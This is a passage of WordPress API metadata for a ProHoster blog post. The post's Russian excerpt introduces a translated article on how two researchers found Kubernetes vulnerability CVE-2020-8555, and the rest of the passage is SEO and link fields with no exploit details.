<\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.0.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/et\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.0.1\" \/>\n\t\t<meta property=\"og:locale\" content=\"et_EE\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/et\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Kui asi ei seisne ainult Kuberneteses olevas haavatavuses\u2026 | ProHoster","description":"M\u00e4rk.","canonical_url":"https:\/\/prohoster.info\/et\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"et_EE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/et\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}